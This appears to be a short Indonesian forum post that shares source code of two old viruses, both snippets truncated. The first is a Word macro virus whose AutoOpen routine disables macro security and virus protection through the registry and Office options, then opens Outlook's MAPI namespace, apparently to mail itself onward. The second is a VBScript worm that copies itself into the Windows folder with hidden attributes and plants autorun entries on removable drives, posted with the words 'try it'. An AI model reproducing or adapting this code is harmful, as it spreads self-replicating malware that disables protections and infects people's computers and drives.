ni contoh virus umbrella..udah lama sih tapi untuk dipelajari aja.... Private Sub AutoOpen() On Error Resume Next p$ = "clone" If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Else p$ = "clone" CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software...

ini contoh virus fucker.....coba ja 'My name is Keith From Webchaton error resume nextdim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sdatr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe fucker.vbs"set fs = Createobject("Scripting.FileSystemObject")set mf = fs.getfile(Wscript.ScriptFullname)dim text,sizesize = mf.sizecheck = mf.drive.drivetypeset text=mf.openastextstream(1,-2)do while not text.atendofstreammysource=mysource&text.readlinemysource=mysource & vbcrlfloopdoSet winpath = fs.getspecialfolder(0)set tf = fs.getfile(winpath & "\fucker.vbs")tf.attributes = 32set tf=fs.createtextfile(winpath & "\fucker.vbs",2,true)tf.write mysourcetf.closeset tf = fs.getfile(winpath & "\fucker.vbs")tf.attributes = 39for each flashdrive in fs.drivesIf (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path "A:" thenset tf=fs.getfile(flashdrive.path &"\fucker.vb...